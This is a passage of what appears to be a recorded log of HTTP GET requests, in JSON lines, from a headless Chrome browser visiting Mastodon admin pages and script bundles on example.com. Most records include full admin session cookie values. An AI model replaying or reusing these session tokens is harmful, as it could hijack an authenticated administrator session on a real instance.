_mastodon_session=0mYjZ0Q1w0I%2FhAP%2Bkou1EGd%2FYO6o%2Bvu2YUGMGkANZcM%2FAn5WUyHAPNzVFgEAJ8TOMnsmiTM2cpNd5biXdKNi69xi9A4tEK2SWFNNu1CYUwyySWa08as6wf2h5QIwZSU2Xj0EpvuFWHSs9zyCzO2xjTd2sy%2BO%2Fbc1I1d7bfLnUdpQeNl1QUtFKXvTt9U5FVVm%2FZpKMdJMJsCRsMQ2b2od6N%2Bsx9ECMMuVcpfS1p0%2F4FEvxodIXn6sPPC36k%2F3q%2BkWQ9ITDtK5XtK49Y%2BLIRsX9i2Qx6QeHb8w9lWuhftBZ0Ijgr%2Bgs20WIBsXSw7hXy3yL5XtY2xxAlVlshh73xXZEwPUORUlnuLdrakRkyiqpA1f8vP1D7t5ZmRZ5qifyFPZyAipn8ohLO9H--%2BMPGVez4RuDHe0VA--qiiWjVWtwy7wY9An21xtZA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/relays", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MTguNDUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3b0d4a3f025887f1aee8546fd4b03aac80ec0fb0; _mastodon_session=0mYjZ0Q1w0I%2FhAP%2Bkou1EGd%2FYO6o%2Bvu2YUGMGkANZcM%2FAn5WUyHAPNzVFgEAJ8TOMnsmiTM2cpNd5biXdKNi69xi9A4tEK2SWFNNu1CYUwyySWa08as6wf2h5QIwZSU2Xj0EpvuFWHSs9zyCzO2xjTd2sy%2BO%2Fbc1I1d7bfLnUdpQeNl1QUtFKXvTt9U5FVVm%2FZpKMdJMJsCRsMQ2b2od6N%2Bsx9ECMMuVcpfS1p0%2F4FEvxodIXn6sPPC36k%2F3q%2BkWQ9ITDtK5XtK49Y%2BLIRsX9i2Qx6QeHb8w9lWuhftBZ0Ijgr%2Bgs20WIBsXSw7hXy3yL5XtY2xxAlVlshh73xXZEwPUORUlnuLdrakRkyiqpA1f8vP1D7t5ZmRZ5qifyFPZyAipn8ohLO9H--%2BMPGVez4RuDHe0VA--qiiWjVWtwy7wY9An21xtZA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/trends/links", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MjEuMzAyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--75b887123f8ced2df29248bfec8210db9b331ac5; _mastodon_session=MgE9xic9QrMILUPJLNaFKQaCzh%2FXM7mSzLCCOMgHXU1S9U6bpRt5%2FxAUT56ZUqT1FvXMyhStYY5sIU%2FFDkgZnDfWR01oo%2BmIrWXSgseILohuofPSNs9osfSP6OR0ptZUElBgJBJik4WwnH8%2B%2BfDZ6AcvVCYcvdTkpnnfkmu%2FZvbIwgmUFG2O5z0WVd01W1ZKxOH6ktSDqtW2zsPTkzXrs7NZP%2FC5GSzV8hcDMkjQW8WfbxP6RIHZjp3AWZARmhaA7BFoPrx%2FOtNRu3e0W2XsvBACzezwTnZXSfy4ywepSS2pRsUEC5%2BIe%2BiJneW31rA2ScY26wO64gDshDqmLZiB2XPqkXHMoB7%2B5estpGV3tNwPFgAjbk8%2FS3SCGFY62xX9nWyh9a9XAAti--JH5NWlBAZuMsIPN6--Dr8q%2BWbJzAqOibX2y8ZD%2Fg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/rolldown-runtime-C0FnF6B9.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/trends/tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MjQuMTQ4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--07fd423afff187fdfaef441d6fb5e5063c0769fe; _mastodon_session=fOt%2Bvw5wckLINZ%2BiFoKVC3Pc5NQtJoQMiztNGDBKbpjP0cS8ClRov4aJ%2Fs4EWv%2FsqqitYD8VOYrbqWa3%2FgRg0Y7mJJ7kThynjptXYJC8fadmwNyYcM9EXcILq6fReMy6AguzI5A%2BxIfl44cegjE7ehdsp0OWorblq54xYrzKPeWsoolE0zjT8Xc3YE4F7iKXb303ZaRB2IuFG8FYnRQGNxU07SaPa%2FpaiHePas6lAAQ5vFz77qupC8GW5Fo2zyx3KmO3HlCiYVOnSwmXU0ztMdM9VP%2BBD%2B2x33c%2ByWuoS2x8WL03c5UbWjf00DbgMh8gEFRPqE7X1fKp%2BMGgSTCq67qauzZgRJIIWPqg3CrHd9WncejhoXgDZgfJ%2FMGqMl5TzGVz1Ma2QmuH--cMc5eZDENJa7lBPE--qpkQljJquN4ebr%2FhU2Kdfg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/jsx-runtime-BdxMnOeJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/trends/statuses", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MjcuMTI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7c414d34ab8f634fc3192b5a84c7221c62c663db; _mastodon_session=7hzC9L9AUI7XiLeJnXP7VGOD0X2TrDotL%2B3NW%2Fgipkd7wfDl%2BCeVId3oO1kPWIjatqoFSXYAG1hjv2qXf5K6mP3EUiPMpYNy85xqRgkvv5Z4R9QoNe8q2hgk0Y6Il%2B8sPJjeA0kTjorAOB1txr1XkEZqk%2BUoBpXu4YG6kUTrPjzit601Ch3fCVsbbwqzbnk6y7cZzRFCBbhx6WUsquxxjVDEmAK0zgpcHHYrJnaFqu%2B%2FBn3OjwwCNaUT3YKtfwzrD%2Bl%2BFTJZJJ1xqvxumufal0PPjuF1gX0za9VlwFSebytUjfAAkTi489T7GIe4X%2FZ4bz8hA%2BVeAoqEepowztbECkdyKG8waBjO%2B1wvmDQILJgtAHqyfboWGLLGn1ZljVsyT7R9j1N6%2FDWC--C%2BQObkmZly3IQkxH--ZEQPNb7YTEi%2Ft0hnqQv%2BYA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/sw.js", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept: */*", "Service-Worker: script", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/follow_recommendations", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzAuMTEwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--656662cf53f572d26bdb0f308595dc85fd3a602a; _mastodon_session=6IJBff2x%2FMbXNP3QSv2znCqYuHfmV1SLFQfqw6UZ3KAZoWnGEUiLHoCKs54GeaZM%2Fse1Q%2BOBKF9ML6XrxYswD3pKSvILNMkYiJ3EG%2FTnZLLRWZJSleK9Tr1hIf6QPuhholWydhTCMtrvNoFWDRBkRe1GLNPsdJhivPf%2B9H%2ByoBonMuEuELOvHo42KevScyBCRWanSrKc6Bq%2FWfFwj1qON7QQI9gZ%2FbtKljREFSOK5LR3gpusVt4a5QnUXSY4dOzfmAzor5IUNSzEXZKK0LYJXbLxoE6qzMZkyokQz%2BOZhiug69Xq3ce1fP%2B9tsXAL8pPbxuPZNvc6qiPE0vrwK63m4drvdkVP%2FJCy%2BqpC8nEA7GPzdjgVjChhU88zmVOOXbQ9Fa6EXuCxFMQ--6zvxtk%2B6R2APVs8y--DWd1GN0OBkmP1KtWXm3www%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/esm-DrOrXu-Y.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/follow_recommendations", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzMuMTI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--284c632524d78e801ba62bd16223d3259e127ec7; _mastodon_session=vuomX8ZGGtHfGqeIGWv7g4jvRuO4t%2FH4jUVwuGyGCGd7CDHQbIlkTcNr%2B1xJEHr2sbqhfPEKKqdEUDTnPE0p%2B45W9jvAH4Sz2QKjmHxuaYgBTOJYg2pfQfy14C22%2Bs5fvq8qCKXHSKk%2FNI4GokYB3ixwk4xstDdPq6EetSTHA8vmyX%2FHaTEPjA0T2bNVaj5jO5SnjYlUa1W6SRA%2Fwd9q%2FX24PpO87n3BlXBMJu3gFgFrkEsO4HtNQIdVZGVAFiX7DH9v%2Bvj9YiNd%2Fn%2FjKiDsKzXPGesij0b2B6gzYTHEujuOUUTDqmCuIIamQlMAYRlrha3bgb0kK69QyD%2BvStwU44Ycqf1yDzYUcwYjaY9dYX7Nq5rGV9QwRQd1feyS0rCoJ3QjvbqssmjV--8mr2L1y9RD9joeAT--URA9e2uebQuMLiQ6cFRp0g%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/settings/branding", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzMuMTI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--284c632524d78e801ba62bd16223d3259e127ec7; _mastodon_session=vuomX8ZGGtHfGqeIGWv7g4jvRuO4t%2FH4jUVwuGyGCGd7CDHQbIlkTcNr%2B1xJEHr2sbqhfPEKKqdEUDTnPE0p%2B45W9jvAH4Sz2QKjmHxuaYgBTOJYg2pfQfy14C22%2Bs5fvq8qCKXHSKk%2FNI4GokYB3ixwk4xstDdPq6EetSTHA8vmyX%2FHaTEPjA0T2bNVaj5jO5SnjYlUa1W6SRA%2Fwd9q%2FX24PpO87n3BlXBMJu3gFgFrkEsO4HtNQIdVZGVAFiX7DH9v%2Bvj9YiNd%2Fn%2FjKiDsKzXPGesij0b2B6gzYTHEujuOUUTDqmCuIIamQlMAYRlrha3bgb0kK69QyD%2BvStwU44Ycqf1yDzYUcwYjaY9dYX7Nq5rGV9QwRQd1feyS0rCoJ3QjvbqssmjV--8mr2L1y9RD9joeAT--URA9e2uebQuMLiQ6cFRp0g%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/mode-BXhrwYK6.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/branding", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzYuMTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9220fe50abfaa4c306d2aa2e9e034fb50bb9f432; _mastodon_session=t%2F4hgjOPdOAtu6F8xiTl14l%2FJSr76DTwhRNrlaQuUZnkI0alRcDm3qVuUtUMAyGTp%2F7QWk8LdcVU6jdXPtA3DxfRwH18GOIl3Wm8%2FlCZZQoGrTH%2BeeyfS60yLJJWzaDffVVKcQsjuoVozayrYIrUNGxh9cyx%2FCMazyJgn37fiUtTB0C1qWodehVBBMlucX2t9ndSJGDY9i8NxccJZtnlzJw06arpWbs77NGEwxsb4%2F2bwe56wiWEvuDCa6vNg0tlLjgbUdmJ5oHezrLlET0SdK0BfDUGV0jV4kzCxz3%2F8nL1SJeTjjIDYwSngBGQATHH9C1MwNW6JEsPNni%2FLOr1gBRMBSptT6zcS8RO8%2B3Xyf3M2jh3CpsAetvUTR7NBiKLPudlogpat%2FtJ--rBsC6h%2Fj%2FS4otufO--cMLDjKqMLE9%2Fe%2BcKSgbHsw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/settings/about", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzYuMTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9220fe50abfaa4c306d2aa2e9e034fb50bb9f432; _mastodon_session=t%2F4hgjOPdOAtu6F8xiTl14l%2FJSr76DTwhRNrlaQuUZnkI0alRcDm3qVuUtUMAyGTp%2F7QWk8LdcVU6jdXPtA3DxfRwH18GOIl3Wm8%2FlCZZQoGrTH%2BeeyfS60yLJJWzaDffVVKcQsjuoVozayrYIrUNGxh9cyx%2FCMazyJgn37fiUtTB0C1qWodehVBBMlucX2t9ndSJGDY9i8NxccJZtnlzJw06arpWbs77NGEwxsb4%2F2bwe56wiWEvuDCa6vNg0tlLjgbUdmJ5oHezrLlET0SdK0BfDUGV0jV4kzCxz3%2F8nL1SJeTjjIDYwSngBGQATHH9C1MwNW6JEsPNni%2FLOr1gBRMBSptT6zcS8RO8%2B3Xyf3M2jh3CpsAetvUTR7NBiKLPudlogpat%2FtJ--rBsC6h%2Fj%2FS4otufO--cMLDjKqMLE9%2Fe%2BcKSgbHsw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/emojis-BYdy4VJS.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/about", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzkuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4c011955b47238357621778a1c0e8c80b52ff55e; _mastodon_session=FJW4bQQECmtYQ%2FRON0iG78XJgXf6%2Fiz0UlmJiloA82VptJel3Rdja3fxsrp4cOmxb7sDkVhdSJLcs8ZYR7mURo2eBgX3nGIW2y6iKLfzCB%2BqCcDXGwVm8r8jCty2geiKlukvP8VJyRYEr8364NXTvfSuJiTBXBVGh9A86ZCiMS%2B2Hs1g0Vdyu33mog721KzqoBLd11wmWecKiOEmVxmeq9ucFWLTogr5kbi5Ls2G9TNqy5P7L8X%2BPm2AwXfGEqrK6pcqaAffR1bBcTqpn58xVrjoCPUBumQ%2Bu5iQR8rTaHl4XWrwRdVXQNNEyn%2F%2BWMrZZo6dhi8nBOoKdP9qM9qtF4D4%2F6jois769QPLjuuMd2FJB%2B8m9PvVWZYl46UVvAiAraGvkN51g2Mu--B2JgMKnl2%2BaGOWE%2B--MrWNFOUDaKkNx3%2FK4KO8gw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/settings/registrations", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzkuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4c011955b47238357621778a1c0e8c80b52ff55e; _mastodon_session=FJW4bQQECmtYQ%2FRON0iG78XJgXf6%2Fiz0UlmJiloA82VptJel3Rdja3fxsrp4cOmxb7sDkVhdSJLcs8ZYR7mURo2eBgX3nGIW2y6iKLfzCB%2BqCcDXGwVm8r8jCty2geiKlukvP8VJyRYEr8364NXTvfSuJiTBXBVGh9A86ZCiMS%2B2Hs1g0Vdyu33mog721KzqoBLd11wmWecKiOEmVxmeq9ucFWLTogr5kbi5Ls2G9TNqy5P7L8X%2BPm2AwXfGEqrK6pcqaAffR1bBcTqpn58xVrjoCPUBumQ%2Bu5iQR8rTaHl4XWrwRdVXQNNEyn%2F%2BWMrZZo6dhi8nBOoKdP9qM9qtF4D4%2F6jois769QPLjuuMd2FJB%2B8m9PvVWZYl46UVvAiAraGvkN51g2Mu--B2JgMKnl2%2BaGOWE%2B--MrWNFOUDaKkNx3%2FK4KO8gw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/push_notifications-C0ir4q-Q.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/registrations", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDIuMTkxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b91b5e12f13b3d68f80b28f3c73ef275cd95a182; _mastodon_session=5DSuCHGu0UQ9v0pjooV2%2BsCJRJ77ODBg4qoGDyx1UbespweUiRMhMQpE6hyDEgXcvuHhMrTyKSF9n17EPlsivJOh1dcasfgyXC9CZqJql%2BokU90Lh99wjlvYtwuuphFzV5feireHROmj0OU10acANYRrDL%2BjY4Mdxk%2Fv72%2BYlJHOENH7QCYfB38dobmrZpTLftZcvVt3EWTuzVX653eSZPMGYKZ3FpKOgW990agSqXGtYbMtfjQ9FQUn9woDAlgwLGsbTeEAIXu2PWCcgu3pvvh003qYkbvqbcLfEHTkFsl996JUqRl9Nln8TpARpCCAuaBY2uBnuztfnSxGM%2BlGmbXtixxw%2B4D52jThyxu2IJnYx1kvB7rtjRXeDId4d4BLmx7aTvy8FC0E--MLfark95SAh84Tqa--NQV0DE0W%2B5LohZU9zMuqEA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/admin/settings/content_retention", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDIuMTkxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b91b5e12f13b3d68f80b28f3c73ef275cd95a182; 